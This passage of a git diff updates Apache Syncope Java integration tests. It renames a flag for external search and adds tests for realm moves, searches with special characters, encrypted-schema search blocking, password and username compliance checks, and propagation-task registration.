(IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -710,7 +803,7 @@ public void issueSYNCOPE1223() { req.getPlainAttrs().add(new AttrPatch.Builder(attr("ctype", "ou=sample,o=isp")).build()); USER_SERVICE.update(req); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -775,7 +868,7 @@ public void issueSYNCOPE1417() { USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). fiql(SyncopeClient.getUserSearchConditionBuilder().is("userId").equalTo("*@apache.org").query()). orderBy(SyncopeClient.getOrderByClauseBuilder().asc("surname").desc("firstname").build()).build()); - if (!IS_ELASTICSEARCH_ENABLED) { + if (!IS_EXT_SEARCH_ENABLED) { fail(); } } catch (SyncopeClientException e) { @@ -834,4 +927,238 @@ public void issueSYNCOPE1663() { assertNotNull(matching2); assertFalse(matching2.getResult().isEmpty()); } + + @Test + public void issueSYNCOPE1727() { + RealmTO realm = new RealmTO(); + realm.setName("syncope1727"); + + // 1. create Realm + Response response = REALM_SERVICE.create("/even/two", realm); + realm = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); + assertNotNull(realm.getKey()); + assertEquals("syncope1727", realm.getName()); + assertEquals("/even/two/syncope1727", realm.getFullPath()); + assertEquals(realm.getParent(), getRealm("/even/two").get().getKey()); + + // 2. create user + UserCR userCR = UserITCase.getUniqueSample("syncope1727@syncope.apache.org"); + userCR.setRealm(realm.getFullPath()); + UserTO user = createUser(userCR).getEntity(); + + // 3. search for user + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + PagedResult users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("realm"). + equalTo(realm.getKey()).query()).build()); + assertEquals(1, users.getResult().size()); + assertEquals(user.getKey(), users.getResult().get(0).getKey()); + + // 4. update parent Realm + realm.setParent(getRealm("/odd").get().getKey()); + REALM_SERVICE.update(realm); + realm = getRealm("/odd/syncope1727").get(); + + // 5. search again for user + users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("realm"). + equalTo(realm.getKey()).query()).build()); + assertEquals(1, users.getResult().size()); + assertEquals(user.getKey(), users.getResult().get(0).getKey()); + } + + @Test + public void issueSYNCOPE1779() { + // 1. create user with underscore + UserTO userWithUnderscore = createUser(UserITCase.getSample("syncope1779_test@syncope.apache.org")).getEntity(); + // 2 create second user without underscore + createUser(UserITCase.getSample("syncope1779test@syncope.apache.org")).getEntity(); + + // 3. search for user + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + // Search by username + PagedResult users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("username").equalTo("syncope1779_*"). + and().is("firstname").equalTo("syncope1779_*"). + and().is("userId").equalTo("syncope1779_*").query()). + build()); + assertEquals(1, users.getResult().size()); + assertEquals(userWithUnderscore.getKey(), users.getResult().get(0).getKey()); + // Search also by attribute + users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("syncope1779_*").query()). + build()); + assertEquals(1, users.getResult().size()); + assertEquals(userWithUnderscore.getKey(), users.getResult().get(0).getKey()); + // search for both + users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("syncope1779*").query()). + build()); + assertEquals(2, users.getResult().size()); + + users.getResult().forEach(u -> USER_SERVICE.delete(u.getKey())); + + // 4. create any object with underscore + AnyObjectTO printer = createAnyObject( + new AnyObjectCR.Builder(SyncopeConstants.ROOT_REALM, PRINTER, "_syncope1779").build()).getEntity(); + + // 5. search for printer + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + PagedResult printers = ANY_OBJECT_SERVICE.search( + new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql("$type==PRINTER;name==_syncope1779"). + build()); + assertEquals(1, printers.getResult().size()); + assertEquals(printer.getKey(), printers.getResult().get(0).getKey()); + + printers.getResult().forEach(u -> ANY_OBJECT_SERVICE.delete(u.getKey())); + } + + @Test + public void issueSYNCOPE1790() { + // 0. search by email verdi@syncope.org + PagedResult users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("verdi@syncope.org").query()). + build()); + int before = users.getTotalCount(); + assertTrue(before > 0); + assertFalse(users.getResult().isEmpty()); + assertTrue(users.getResult().stream(). + allMatch(u -> "verdi@syncope.org".equals(u.getPlainAttr("email").orElseThrow().getValues().get(0)))); + + // 1. create user with similar email + UserTO user = createUser(UserITCase.getSample("bisverdi@syncope.org")).getEntity(); + assertNotNull(user); + + // 2. search again + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql(SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("verdi@syncope.org").query()). + build()); + assertEquals(before, users.getTotalCount()); + assertFalse(users.getResult().isEmpty()); + assertTrue(users.getResult().stream(). + allMatch(u -> "verdi@syncope.org".equals(u.getPlainAttr("email").orElseThrow().getValues().get(0)))); + assertTrue(users.getResult().stream().noneMatch(u -> user.getKey().equals(u.getKey()))); + } + + @Test + public void issueSYNCOPE1800() { + // 1. create user + UserCR userCR = UserITCase.getUniqueSample("syncope800@syncope.apache.org"); + Attr surname = userCR.getPlainAttr("surname").orElseThrow(); + surname.getValues().clear(); + surname.getValues().add("D'Amico"); + UserTO user = createUser(userCR).getEntity(); + assertEquals("D'Amico", user.getPlainAttr("surname").orElseThrow().getValues().get(0)); + + // 2. search for user + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + PagedResult users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql("surname=~D'*").build()); + assertEquals(1, users.getResult().size()); + assertEquals(user.getKey(), users.getResult().get(0).getKey()); + } + + @Test + void issueSYNCOPE1826() { + UserCR userCR = UserITCase.getUniqueSample("issueSearch1@syncope.apache.org"); + userCR.setUsername("user test 1826"); + createUser(userCR); + + AnyObjectTO anotherPrinter = createAnyObject(new AnyObjectCR.Builder(SyncopeConstants.ROOT_REALM, + PRINTER, + "obj test 1826").build()).getEntity(); + + userCR = UserITCase.getUniqueSample("issueSearch2@syncope.apache.org"); + userCR.setUsername("user 1826 test"); + createUser(userCR); + + userCR = UserITCase.getUniqueSample("issueSearch3@syncope.apache.org"); + userCR.setUsername("user test 182"); + createUser(userCR); + + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + try { + assertFalse(USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM).details(false) + .fiql(SyncopeClient.getUserSearchConditionBuilder().is("username") + .equalToIgnoreCase("user test 1826").query()).build()).getResult().isEmpty()); + assertFalse(ANY_OBJECT_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM) + .details(false).fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER).is("name") + .equalToIgnoreCase("obj test 1826").query()).build()).getResult().isEmpty()); + assertFalse(USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM).details(false) + .fiql(SyncopeClient.getUserSearchConditionBuilder().is("username") + .equalToIgnoreCase("user 1826 test").query()).build()).getResult().isEmpty()); + assertFalse(USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM).details(false) + .fiql(SyncopeClient.getUserSearchConditionBuilder().is("username") + .equalToIgnoreCase("user test 182").query()).build()).getResult().isEmpty()); + } finally { + deleteUser("user test 1826"); + deleteAnyObject(anotherPrinter.getKey()); + deleteUser("user 1826 test"); + deleteUser("user test 182"); + } + } + + @Test + void issueSYNCOPE1922() { + // 1. set encrypted value + updateUser(new UserUR.Builder(USER_SERVICE.read("bellini").getKey()).plainAttr( + attrAddReplacePatch("obscure", "myobscurevalue")).build()); + // 2. search by encrypted value + try { + USER_SERVICE.search(new AnyQuery.Builder().fiql(SyncopeClient.getUserSearchConditionBuilder() + .and(List.of(SyncopeClient.getUserSearchConditionBuilder().is("obscure").equalTo("myobscurevalue"), + SyncopeClient.getUserSearchConditionBuilder().is("surname").equalTo("bellini"))) + .query()).page(1).size(1).build()); + fail("Search should have been blocked, since on encrypted schema"); + } catch (SyncopeClientException sce) { + assertEquals(ClientExceptionType.InvalidSearchParameters, sce.getType()); + assertTrue( + sce.getMessage().contains("IllegalArgumentException: Cannot search by encrypted schema obscure")); + } + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserITCase.java index 3d563da894a..381328eaf9c 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserITCase.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.fit.core; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -32,6 +33,7 @@ import java.time.OffsetDateTime; import java.time.format.DateTimeFormatter; import java.util.ArrayList; +import java.util.Comparator; import java.util.List; import java.util.Map; import java.util.Set; @@ -84,6 +86,7 @@ import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; import org.apache.syncope.common.rest.api.beans.AnyQuery; +import org.apache.syncope.common.rest.api.beans.ComplianceQuery; import org.apache.syncope.common.rest.api.beans.RealmQuery; import org.apache.syncope.common.rest.api.beans.TaskQuery; import org.apache.syncope.common.rest.api.service.ResourceService; @@ -629,12 +632,14 @@ public void updatePasswordOnly() { @Test public void verifyTaskRegistration() { // get task list - PagedResult tasks = TASK_SERVICE.search( - new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1).build()); - assertNotNull(tasks); - assertFalse(tasks.getResult().isEmpty()); + List tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1000).build()).getResult(); + assertFalse(tasks.isEmpty()); - String maxKey = tasks.getResult().iterator().next().getKey(); + String maxKey = tasks.stream(). + max(Comparator.comparing(PropagationTaskTO::getStart, Comparator.nullsLast(Comparator.naturalOrder()))). + map(PropagationTaskTO::getKey).orElse(null); + assertNotNull(maxKey); // -------------------------------------- // Create operation @@ -649,11 +654,14 @@ public void verifyTaskRegistration() { assertNotNull(userTO); // get the new task list - tasks = TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1).build()); - assertNotNull(tasks); - assertFalse(tasks.getResult().isEmpty()); + tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1000).build()).getResult(); + assertFalse(tasks.isEmpty()); - String newMaxKey = tasks.getResult().iterator().next().getKey(); + String newMaxKey = tasks.stream(). + max(Comparator.comparing(PropagationTaskTO::getStart, Comparator.nullsLast(Comparator.naturalOrder()))). + map(PropagationTaskTO::getKey).orElse(null); + assertNotNull(newMaxKey); // default configuration for ws-target-resource2 during create: // only failed executions have to be registered @@ -673,16 +681,18 @@ public void verifyTaskRegistration() { assertNotNull(userTO); // get the new task list - tasks = TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1).build()); + tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1000).build()).getResult(); + assertFalse(tasks.isEmpty()); // default configuration for ws-target-resource2 during update: // all update executions have to be registered - newMaxKey = tasks.getResult().iterator().next().getKey(); + newMaxKey = tasks.stream(). + max(Comparator.comparing(PropagationTaskTO::getStart, Comparator.nullsLast(Comparator.naturalOrder()))). + map(PropagationTaskTO::getKey).orElse(null); + assertNotNull(newMaxKey); - PropagationTaskTO taskTO = TASK_SERVICE.read(TaskType.PROPAGATION, newMaxKey, true); - - assertNotNull(taskTO); - assertEquals(1, taskTO.getExecutions().size()); + assertNotNull(TASK_SERVICE.read(TaskType.PROPAGATION, newMaxKey, false)); // -------------------------------------- // Delete operation @@ -690,10 +700,15 @@ public void verifyTaskRegistration() { USER_SERVICE.delete(userTO.getKey()); // get the new task list - tasks = TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1).build()); + tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).page(1).size(1000).build()).getResult(); + assertFalse(tasks.isEmpty()); maxKey = newMaxKey; - newMaxKey = tasks.getResult().iterator().next().getKey(); + newMaxKey = tasks.stream(). + max(Comparator.comparing(PropagationTaskTO::getStart, Comparator.nullsLast(Comparator.naturalOrder()))). + map(PropagationTaskTO::getKey).orElse(null); + assertNotNull(newMaxKey); // default configuration for ws-target-resource2: no delete executions have to be registered // --> no more tasks/executions should be added @@ -716,8 +731,7 @@ public void createActivate() { assertEquals("created", userTO.getStatus()); - StatusR statusR = new StatusR.Builder().key(userTO.getKey()). - type(StatusRType.ACTIVATE).token(userTO.getToken()).build(); + StatusR statusR = new StatusR.Builder(userTO.getKey(), StatusRType.ACTIVATE).token(userTO.getToken()).build(); userTO = USER_SERVICE.status(statusR).readEntity(new GenericType>() { }).getEntity(); @@ -741,15 +755,14 @@ public void suspendReactivate() { ? "active" : "created", userTO.getStatus()); - StatusR statusR = new StatusR.Builder().key(userTO.getKey()). - type(StatusRType.SUSPEND).token(userTO.getToken()).build(); + StatusR statusR = new StatusR.Builder(userTO.getKey(), StatusRType.SUSPEND).token(userTO.getToken()).build(); userTO = USER_SERVICE.status(statusR).readEntity(new GenericType>() { }).getEntity(); assertNotNull(userTO); assertEquals("suspended", userTO.getStatus()); - statusR = new StatusR.Builder().key(userTO.getKey()).type(StatusRType.REACTIVATE).build(); + statusR = new StatusR.Builder(userTO.getKey(), StatusRType.REACTIVATE).build(); userTO = USER_SERVICE.status(statusR).readEntity(new GenericType>() { }).getEntity(); @@ -779,8 +792,7 @@ public void suspendReactivateOnResource() { String userKey = userTO.getKey(); // Suspend with effect on syncope, ldap and db => user should be suspended in syncope and all resources - StatusR statusR = new StatusR.Builder().key(userKey). - type(StatusRType.SUSPEND). + StatusR statusR = new StatusR.Builder(userKey, StatusRType.SUSPEND). onSyncope(true). resources(RESOURCE_NAME_TESTDB, RESOURCE_NAME_LDAP). build(); @@ -797,8 +809,7 @@ public void suspendReactivateOnResource() { assertNotNull(connObjectTO); // Suspend and reactivate only on ldap => db and syncope should still show suspended - statusR = new StatusR.Builder().key(userKey). - type(StatusRType.SUSPEND). + statusR = new StatusR.Builder(userKey, StatusRType.SUSPEND). onSyncope(false). resources(RESOURCE_NAME_LDAP). build(); @@ -813,8 +824,7 @@ public void suspendReactivateOnResource() { assertFalse(getBooleanAttribute(connObjectTO, OperationalAttributes.ENABLE_NAME)); // Reactivate on syncope and db => syncope and db should show the user as active - statusR = new StatusR.Builder().key(userKey). - type(StatusRType.REACTIVATE). + statusR = new StatusR.Builder(userKey, StatusRType.REACTIVATE). onSyncope(true). resources(RESOURCE_NAME_TESTDB). build(); @@ -965,6 +975,15 @@ public void customPolicyRules() { try { UserCR userCR = getUniqueSample("custompolicyrules@syncope.apache.org"); userCR.setRealm(realm.getFullPath()); + + try { + ANONYMOUS_CLIENT.getService(UserSelfService.class).compliance( + new ComplianceQuery.Builder().password(userCR.getPassword()).realm(userCR.getRealm()).build()); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.InvalidUser, e.getType()); + assertTrue(e.getElements().iterator().next().startsWith("InvalidPassword")); + } + try { createUser(userCR); fail("This should not happen"); @@ -973,7 +992,16 @@ public void customPolicyRules() { assertTrue(e.getElements().iterator().next().startsWith("InvalidPassword")); } + try { + ANONYMOUS_CLIENT.getService(UserSelfService.class).compliance( + new ComplianceQuery.Builder().username(userCR.getUsername()).realm(userCR.getRealm()).build()); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.InvalidUser, e.getType()); + assertTrue(e.getElements().iterator().next().startsWith("InvalidUsername")); + } + userCR.setPassword(userCR.getPassword() + "XXX"); + try { createUser(userCR); fail("This should not happen"); @@ -983,6 +1011,12 @@ public void customPolicyRules() { } userCR.setUsername("YYY" + userCR.getUsername()); + + assertDoesNotThrow(() -> ANONYMOUS_CLIENT.getService(UserSelfService.class).compliance( + new ComplianceQuery.Builder().password(userCR.getPassword()).realm(userCR.getRealm()).build())); + assertDoesNotThrow(() -> ANONYMOUS_CLIENT.getService(UserSelfService.class).compliance( + new ComplianceQuery.Builder().username(userCR.getUsername()).realm(userCR.getRealm()).build())); + UserTO userTO = createUser(userCR).getEntity(); assertNotNull(userTO); } finally { @@ -1027,7 +1061,7 @@ public void batch() throws IOException { BatchRequest batchRequest = ADMIN_CLIENT.batch(); UserService batchUserService = batchRequest.getService(UserService.class); - users.forEach(user -> batchUserService.status(new StatusR.Builder().key(user).type(StatusRType.SUSPEND). + users.forEach(user -> batchUserService.status(new StatusR.Builder(user, StatusRType.SUSPEND). onSyncope(true). build())); List batchResponseItems = parseBatchResponse(batchRequest.commit().getResponse()); @@ -1038,7 +1072,7 @@ public void batch() throws IOException { assertEquals("suspended", USER_SERVICE.read(users.get(3)).getStatus()); UserService batchUserService2 = batchRequest.getService(UserService.class); - users.forEach(user -> batchUserService2.status(new StatusR.Builder().key(user).type(StatusRType.REACTIVATE). + users.forEach(user -> batchUserService2.status(new StatusR.Builder(user, StatusRType.REACTIVATE). onSyncope(true). build())); batchResponseItems = parseBatchResponse(batchRequest.commit().getResponse()); @@ -1175,7 +1209,7 @@ public void assign() throws IOException { } ResourceAR resourceAR = new ResourceAR.Builder().key(actual.getKey()). - value("password").action(ResourceAssociationAction.ASSIGN).resource(RESOURCE_NAME_CSV).build(); + value("password123").action(ResourceAssociationAction.ASSIGN).resource(RESOURCE_NAME_CSV).build(); assertNotNull(parseBatchResponse(USER_SERVICE.associate(resourceAR))); @@ -1366,7 +1400,7 @@ public void haveIBeenPwned() { assertEquals("InvalidPassword: Password pwned", e.getElements().iterator().next()); } - userCR.setPassword('1' + RandomStringUtils.randomAlphanumeric(10)); + userCR.setPassword('1' + RandomStringUtils.insecure().nextAlphanumeric(10)); UserTO userTO = createUser(userCR).getEntity(); assertNotNull(userTO.getKey()); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserIssuesITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserIssuesITCase.java index aa3bf1ed5dc..4ecf9ededca 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserIssuesITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserIssuesITCase.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.fit.core; +import static org.awaitility.Awaitility.await; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotEquals; @@ -33,10 +34,12 @@ import java.util.Collection; import java.util.List; import java.util.Map; -import java.util.Optional; import java.util.Set; import java.util.UUID; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; import javax.naming.NamingException; +import javax.ws.rs.HttpMethod; import javax.ws.rs.core.GenericType; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; @@ -53,46 +56,95 @@ import org.apache.syncope.common.lib.request.GroupCR; import org.apache.syncope.common.lib.request.MembershipUR; import org.apache.syncope.common.lib.request.PasswordPatch; +import org.apache.syncope.common.lib.request.ResourceAR; +import org.apache.syncope.common.lib.request.ResourceDR; +import org.apache.syncope.common.lib.request.StatusR; import org.apache.syncope.common.lib.request.StringPatchItem; import org.apache.syncope.common.lib.request.StringReplacePatchItem; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.to.AnyTypeClassTO; import org.apache.syncope.common.lib.to.ConnObject; +import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.Mapping; import org.apache.syncope.common.lib.to.MembershipTO; +import org.apache.syncope.common.lib.to.PlainSchemaTO; import org.apache.syncope.common.lib.to.PropagationStatus; +import org.apache.syncope.common.lib.to.PropagationTaskTO; +import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.to.ProvisioningResult; +import org.apache.syncope.common.lib.to.PushTaskTO; import org.apache.syncope.common.lib.to.RealmTO; +import org.apache.syncope.common.lib.to.ReconStatus; import org.apache.syncope.common.lib.to.ResourceTO; +import org.apache.syncope.common.lib.to.RoleTO; +import org.apache.syncope.common.lib.to.SchemaTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.AttrSchemaType; import org.apache.syncope.common.lib.types.CipherAlgorithm; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.IdMImplementationType; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.MappingPurpose; +import org.apache.syncope.common.lib.types.MatchingRule; import org.apache.syncope.common.lib.types.PatchOperation; import org.apache.syncope.common.lib.types.PolicyType; +import org.apache.syncope.common.lib.types.ResourceAssociationAction; +import org.apache.syncope.common.lib.types.ResourceDeassociationAction; +import org.apache.syncope.common.lib.types.ResourceOperation; +import org.apache.syncope.common.lib.types.SchemaType; +import org.apache.syncope.common.lib.types.StatusRType; +import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.common.lib.types.UnmatchingRule; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.AnyQuery; import org.apache.syncope.common.rest.api.beans.RealmQuery; +import org.apache.syncope.common.rest.api.beans.ReconQuery; +import org.apache.syncope.common.rest.api.beans.TaskQuery; +import org.apache.syncope.common.rest.api.service.UserService; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.provisioning.java.propagation.DBPasswordPropagationActions; +import org.apache.syncope.core.provisioning.java.propagation.GenerateRandomPasswordPropagationActions; import org.apache.syncope.core.provisioning.java.propagation.LDAPPasswordPropagationActions; import org.apache.syncope.core.spring.security.Encryptor; import org.apache.syncope.fit.AbstractITCase; import org.identityconnectors.framework.common.objects.Name; import org.identityconnectors.framework.common.objects.OperationalAttributes; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.springframework.dao.EmptyResultDataAccessException; import org.springframework.jdbc.core.JdbcTemplate; public class UserIssuesITCase extends AbstractITCase { + @BeforeAll + public static void testPropagationActionsSetup() { + ImplementationTO propagationActions = null; + try { + propagationActions = IMPLEMENTATION_SERVICE.read( + IdMImplementationType.PROPAGATION_ACTIONS, LDAPPasswordPropagationActions.class.getSimpleName()); + } catch (SyncopeClientException e) { + if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { + propagationActions = new ImplementationTO(); + propagationActions.setKey(LDAPPasswordPropagationActions.class.getSimpleName()); + propagationActions.setEngine(ImplementationEngine.JAVA); + propagationActions.setType(IdMImplementationType.PROPAGATION_ACTIONS); + propagationActions.setBody(LDAPPasswordPropagationActions.class.getName()); + Response response = IMPLEMENTATION_SERVICE.create(propagationActions); + propagationActions = IMPLEMENTATION_SERVICE.read( + propagationActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + } + } + assertNotNull(propagationActions); + } + @Test public void issue186() { // 1. create an user with strict mandatory attributes only @@ -218,11 +270,8 @@ public void issue280() { List propagations = result.getPropagationStatuses(); assertNotNull(propagations); assertEquals(1, propagations.size()); - assertEquals(ExecStatus.SUCCESS, propagations.get(0).getStatus()); - - String resource = propagations.get(0).getResource(); - assertEquals(RESOURCE_NAME_TESTDB, resource); + assertEquals(RESOURCE_NAME_TESTDB, propagations.get(0).getResource()); } @Test @@ -475,7 +524,7 @@ public void issueSYNCOPE122() { // 2. request to change password only on testdb (no Syncope, no testdb2) UserUR userUR = new UserUR(); userUR.setKey(userTO.getKey()); - userUR.setPassword(new PasswordPatch.Builder().value(getUUIDString()).onSyncope(false). + userUR.setPassword(new PasswordPatch.Builder().value(UUID.randomUUID().toString()).onSyncope(false). resource(RESOURCE_NAME_TESTDB).build()); ProvisioningResult result = updateUser(userUR); @@ -666,7 +715,7 @@ public void issueSYNCOPE357() throws IOException { // 1. create group with LDAP resource GroupCR groupCR = new GroupCR(); groupCR.setName("SYNCOPE357-" + getUUIDString()); - groupCR.setRealm("/"); + groupCR.setRealm(SyncopeConstants.ROOT_REALM); groupCR.getResources().add(RESOURCE_NAME_LDAP); GroupTO groupTO = createGroup(groupCR).getEntity(); @@ -688,12 +737,10 @@ public void issueSYNCOPE357() throws IOException { ConnObject connObj = RESOURCE_SERVICE.readConnObject( RESOURCE_NAME_LDAP, AnyTypeKind.USER.name(), userTO.getKey()); assertNotNull(connObj); - Attr registeredAddress = connObj.getAttr("registeredAddress").get(); - assertNotNull(registeredAddress); - assertEquals(userTO.getPlainAttr("obscure").get().getValues(), registeredAddress.getValues()); - Optional jpegPhoto = connObj.getAttr("jpegPhoto"); - assertTrue(jpegPhoto.isPresent()); - assertEquals(userTO.getPlainAttr("photo").get().getValues().get(0), jpegPhoto.get().getValues().get(0)); + Attr registeredAddress = connObj.getAttr("registeredAddress").orElseThrow(); + assertEquals(userTO.getPlainAttr("obscure").orElseThrow().getValues(), registeredAddress.getValues()); + Attr jpegPhoto = connObj.getAttr("jpegPhoto").orElseThrow(); + assertEquals(userTO.getPlainAttr("photo").orElseThrow().getValues().get(0), jpegPhoto.getValues().get(0)); // 4. remove group GROUP_SERVICE.delete(groupTO.getKey()); @@ -1018,20 +1065,10 @@ public void issueSYNCOPE505LDAP() throws Exception { assertTrue(user.getResources().isEmpty()); // 2. Add LDAPPasswordPropagationActions - ImplementationTO propagationActions = new ImplementationTO(); - propagationActions.setKey(LDAPPasswordPropagationActions.class.getSimpleName()); - propagationActions.setEngine(ImplementationEngine.JAVA); - propagationActions.setType(IdMImplementationType.PROPAGATION_ACTIONS); - propagationActions.setBody(LDAPPasswordPropagationActions.class.getName()); - Response response = IMPLEMENTATION_SERVICE.create(propagationActions); - propagationActions = IMPLEMENTATION_SERVICE.read( - propagationActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - assertNotNull(propagationActions); - ResourceTO resourceTO = RESOURCE_SERVICE.read(RESOURCE_NAME_LDAP); assertNotNull(resourceTO); - resourceTO.getPropagationActions().add(propagationActions.getKey()); - resourceTO.setRandomPwdIfNotProvided(false); + resourceTO.getPropagationActions().add(LDAPPasswordPropagationActions.class.getSimpleName()); + resourceTO.getPropagationActions().remove(GenerateRandomPasswordPropagationActions.class.getSimpleName()); RESOURCE_SERVICE.update(resourceTO); // 3. Add a resource to the User @@ -1058,14 +1095,14 @@ public void issueSYNCOPE505LDAP() throws Exception { // 5. Remove LDAPPasswordPropagationActions resourceTO = RESOURCE_SERVICE.read(RESOURCE_NAME_LDAP); assertNotNull(resourceTO); - resourceTO.getPropagationActions().remove(propagationActions.getKey()); - resourceTO.setRandomPwdIfNotProvided(true); + resourceTO.getPropagationActions().remove(LDAPPasswordPropagationActions.class.getSimpleName()); + resourceTO.getPropagationActions().add(0, GenerateRandomPasswordPropagationActions.class.getSimpleName()); RESOURCE_SERVICE.update(resourceTO); } @Test public void issueSYNCOPE391() { - assumeFalse(IS_ELASTICSEARCH_ENABLED); + assumeFalse(IS_EXT_SEARCH_ENABLED); // 1. create user on Syncope with null password UserCR userCR = UserITCase.getUniqueSample("syncope391@syncope.apache.org"); @@ -1528,26 +1565,18 @@ public void issueSYNCOPE1472() { .value("Other") .build()); - for (int i = 0; i < 2; i++) { - updateUser(userUR); - } + updateUser(userUR); + updateUser(userUR); // 2. remove resources, auxiliary classes and roles userUR.getResources().clear(); - userUR.getResources().add(new StringPatchItem.Builder() - .value(RESOURCE_NAME_TESTDB) - .operation(PatchOperation.DELETE) - .build()); + userUR.getResources().add(new StringPatchItem.Builder().value(RESOURCE_NAME_TESTDB) + .operation(PatchOperation.DELETE).build()); userUR.getAuxClasses().clear(); - userUR.getAuxClasses().add(new StringPatchItem.Builder() - .value("csv") - .operation(PatchOperation.DELETE) + userUR.getAuxClasses().add(new StringPatchItem.Builder().value("csv").operation(PatchOperation.DELETE) .build()); userUR.getRoles().clear(); - userUR.getRoles().add(new StringPatchItem.Builder() - .value("Other") - .operation(PatchOperation.DELETE) - .build()); + userUR.getRoles().add(new StringPatchItem.Builder().value("Other").operation(PatchOperation.DELETE).build()); updateUser(userUR); UserTO userTO = 